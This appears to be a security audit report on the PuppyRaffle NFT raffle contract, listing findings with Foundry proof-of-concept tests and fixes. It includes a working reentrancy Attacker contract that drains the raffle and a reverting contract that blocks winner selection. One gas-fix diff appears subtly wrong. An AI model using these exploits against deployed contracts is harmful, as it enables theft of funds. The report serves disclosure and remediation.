Puppy Raffle Report

Performed by: *ShikETH*

March 24, 2024

Table of Contents

- Gas
  - [G-1] Unchanged state variables should be marked as constant or immutable.
  - [G-2] Storage variables in a loop should be cached

Protocol Summary

`PuppyRaffle` is a smart contract that allows users to enter a raffle to win a cute dog NFT. Users can enter the raffle by calling the `enterRaffle` function with a list of addresses that enter. Duplicate addresses are not allowed. Users can get a refund of their ticket & `value` if they call the `refund` function. Every X seconds, the raffle will be able to draw a winner and mint a random puppy. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where I try to find as many vulnerabilities as possible. I can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	High	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact - the technical, economic and reputation damage of a successful attack

Likelihood - the chance that a particular vulnerability gets discovered and exploited

Severity - the overall criticality of the risk

Audit Details

The findings described in this document correspond to the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
- contracts/
  - PuppyRaffle.sol
```

Roles

- Owner: The user who change the `feeAddress`, denominated by the _owner variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	1
Low	1
Info/Gas	8
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description The `PuppyRaffle::refund` does not follow CEI (Checks, Effect, Interactions), and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to `msg.sender` address and only after that, we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender,"PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0),"PuppyRaffle: Player already refunded, o is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function, which would allow them to drain the contract balance.

Impact All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept 1. User enters the raffle 2. Attacker sets up a contract to call `PuupyRaffle::refund` function 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Place the following test in `test/PuppyRaffleTest.t.sol`

Code

```
    function testReentracyInRefundFunction() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        Attacker attackerContract = new Attacker(address(puppyRaffle));
        address attackUser = makeAddr("ATTACKER");
        vm.deal(attackUser, 1 ether);
        uint256 startingAttackContractBalance = address(attackerContract)
         .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.startPrank(attackUser);
        attackerContract.attack{value: entranceFee}();
        console.log(
            "Starting Attacker contract balance: ",
            startingAttackContractBalance
        );
        console.log("Stating contract balance: ", startingContractBalance);

        console.log(
            "Ending Attacker contract balance: ",
            address(attackerContract).balance
        );
        console.log("Ending contract balance: ", address(puppyRaffle).balance);
        vm.stopPrank();
    }
```

And this contract as well

```
    contract Attacker {
        PuppyRaffle victim;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(address _victim) {
            victim = PuppyRaffle(_victim);
            entranceFee = victim.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            victim.enterRaffle{value: entranceFee}(players);

            attackerIndex = victim.getActivePlayerIndex(address(this));
            victim.refund(attackerIndex);
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }

        function _stealMoney() internal {
            if (address(victim).balance >= entranceFee) {
                victim.refund(attackerIndex);
            }
        }
    }
```

Recommended Mitigation To prevent this, we should have `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender,"PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0),"PuppyRaffle: Player
           already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and unfluence or predict the winning puppy.

Description Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. Apredictable number is not a good random number, malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if oi becomes a gas war as to who wins the raffles.

Proof of Concept 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate their `msg.sender` value to result in their address being the winner. 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation Consider using a cryptographycally provable random number generator, such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees`, can cause

Description The `PuppyRaffle::totalFees` variable is of type `uint64`, which can hold a maximum valie of 2^64 - 1, or 18,446,744,073,709,551,615 wei (~18.4467 ether). If many players join the raffle, the `PuppyRaffle::totalFees` variable can overflow, causing the fees, which have to be collected by the owner of the contract to be way lower that it should.

```
@>     uint64 public totalFees = 0;
```

Impact The owner of the contract will not be able to collect the fees that they should be able to collect. This can be a significant loss of funds.

Proof of Concept

Place the following tests into `PuppyRaffleTest.t.sol`:

Code

```
function testSelectWinnerFeeOverflow() public {
    address[] memory players = new address[](93);
    for (uint256 i; i < 93; i++) {
        players[i] = address(i + 1);
    }
    puppyRaffle.enterRaffle{value: entranceFee * 93}(players);
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();
    console.log("Total Fees: ", puppyRaffle.totalFees());
}
```

```
function testSelectWinnerFeeNoOverflow() public {
    address[] memory players = new address[](92);
    for (uint256 i; i < 92; i++) {
        players[i] = address(i + 1);
    }
    puppyRaffle.enterRaffle{value: entranceFee * 92}(players);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();
    console.log("Total Fees: ", puppyRaffle.totalFees());
}
```

Outputs from `testSelectWinnerFeeOverflow`:

```
Total Fees: 153255926290448384
```

Outputs from `testSelectWinnerFeeNoOverflow`:

```
Total Fees: 18400000000000000000
```

As we can see from the test, if 93 people join the raffle, the output will be ~0.1533 ether, and if 92 people join the raffle, the output will be ~18.4 ether.

Recommended Mitigation There are a few considerations: 1. Consider using a Solidity version 0.8 or above, since it protects against integer underflow/overflow 2. Set `PuppyRaffle::totalFees` to `uint256` instead of `uint64` to allow for more fees to be collected, and remove casting in `selectWinner` function.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
function selectWinner() external {
    require(
        block.timestamp >= raffleStartTime + raffleDuration,
        "PuppyRaffle: Raffle not over"
    );
    require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

    // @audit randomness
    uint256 winnerIndex = uint256(
        keccak256(
            abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
        )
    ) % players.length;
    address winner = players[winnerIndex];
    uint256 totalAmountCollected = players.length * entranceFee;
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
    // total fees the owner should be able to collect
-   totalFees = totalFees + uint64(fee);
+   totalFees = totalFees + fee;
    .
    .
    .
}
```

[H-4] Smart Contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.

Description The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact The `PuppyRaffle:selectWinner` function could revert many times, making the lottery reset difficult.

Also true winner would not get paid out and someone else could take their money!

Proof of Concept Place the following test into `PuppyRaffleTest.t.sol`:

```
    function testSelectWinnerDoS() public {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        address[] memory players = new address[](4);
        players[0] = address(new AttackerContract());
        players[1] = address(new AttackerContract());
        players[2] = address(new AttackerContract());
        players[3] = address(new AttackerContract());
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        vm.expectRevert();
        puppyRaffle.selectWinner();
    }
```

For example, the AttackerContract can be this:

```
    contract AttackerContract {
        // Implements a `receive` function that always reverts
        receive() external payable {
            revert();
        }
    }
```

Recommended Mitigation The are a few options to consider: 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payouts amounts so winners can pull their funds out themselves with a new `claimPrize` finction, putting the owness on the winner to claim their prize.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS)

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check for the for loop.

```
// @audit: DOS
@>    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(
                players[i] != players[j],
                "PuppyRaffle: Duplicate player"
            );
        }
    }
```

ImpactThe gas cost for raffle entrance will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PyupyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves to win.

Proof of Concept If we have 2 sets of 100 players to enter, the gas costs will be as such: - 1st set of 100 players: 6252047 gas - 2nd set of 100 players: 18068137 gas

This is more than 3x more expensive

PoC

Place the following test into `PuppyRaffleTest.t.sol`:

```
function testDosAttack() public {
    // first 100 players
    vm.txGasPrice(1);
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i; i < playersNum; i++) {
        players[i] = address(i);
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;

    console.log("Gas cost of the first 100 players: ", gasUsed);

    // second 100 players
    address[] memory players2 = new address[](playersNum);
    for (uint256 i; i < playersNum; i++) {
        players2[i] = address(i + playersNum);
    }

    uint256 gasSecondStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players2);
    uint256 gasSecondEnd = gasleft();

    uint256 gasSecondUsed = (gasSecondStart - gasSecondEnd) * tx.gasprice;

    console.log("Gas cost of the second 100 players: ", gasSecondUsed);

    assert(gasUsed < gasSecondUsed);
}
```

Recommended Mitigation There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, pnly the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
.
.
.
function enterRaffle(address[] memory newPlayers) public payable {
    require(
        msg.value == entranceFee * newPlayers.length,
        "PuppyRaffle: Must send enough to enter raffle"
    );
    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
+       addressToRaffleId[newPlayers[i]] = raffleId;
    }

    // Check for duplicates
-    for (uint256 i = 0; i < players.length - 1; i++) {
-        for (uint256 j = i + 1; j < players.length; j++) {
-            require(
-                players[i] != players[j],
-                "PuppyRaffle: Duplicate player"
-            );
-        }
-    }
+   for (uint256 i = 0; i < newPlayers.length; i++) {
+       require(
+           addressToRaffleId[newPlayers[i]] != raffleId,
+           "PuppyRaffle: Duplicate player"
+       );
+   }
    emit RaffleEnter(newPlayers);
}
.
.
.
function selectWinner() external {
+   raffleId = raffleId + 1;
    require(
        block.timestamp >= raffleStartTime + raffleDuration,
        "PuppyRaffle: Raffle not over"
    );
}
```

Alternatively you could use OpenZeppelin's `EnumearbleSet` library

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description If a player is in the 'PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact A player at index 0 tay incorrectly think they have not entered the raffle, wasting gas.

Proof of Concept 1. User enters the raffle, they are the first entrant. 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation The easiest recommendation would be to revert if the player is not in the array instead of returning 0

You could also reserve the 0th position for any competition, but a better solution might be to return a `int256` where the function returns `-1`.

Informational

[I-1] Solidity pragma sould be specific, not wide

Consider using a specific version of Solidity in your contracts instead of wide version. For example, instad of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`. This will prevent any breaking changes in future versions of Solidity.

[I-2] Using an outdated version of Solidity is not recommended.

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with any of the following Solidity versions:

`0.8.18`

The recommendations take into account: 1. Risks related to recent releases 2. Risks of complex code generation changes 3. Risks of new language features 4. Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in constructor when assigning feeAddress

[I-4] PuppyRaffle::selectWinner does not follow CEI pattern

It's best to keep the code clean and follow CEI (Checks, Effects, Interactions).

```
-   (bool success, ) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
+   (bool success, ) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged.

it can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6] _isActivePlayer is never used and should be removed

Description The function PuppyRaffle::_isActivePlayer is never used and should be removed, because it wastes gas.

Impact Unused code makes the contract more gas expensive.

Recommended Mitigation

```
-   function _isActivePlayer() internal view returns (bool) {
-       for (uint256 i = 0; i < players.length; i++) {
-           if (players[i] == msg.sender) {
-               return true;
-           }
-       }
-       return false;
-   }
```

Gas

[G-1] Unchanged state variables should be marked as constant or immutable.

Reading from storage is much more expensive that reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be immutable - `PuppyRaffle::commonImageUri` should be constant. - `PuppyRaffle::rareImageUri` should be constant. - `PuppyRaffle::legendaryImageUri` should be constant.

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from `storage`, as opposed to `memory`, which is more efficient.

```
+   uint256 playersLength = players.length
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength; i++)
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i; j < playersLength; j++) {
            require(players[i] != players[j],"PuppyRaffle: Duplicate player");
        }
    }
```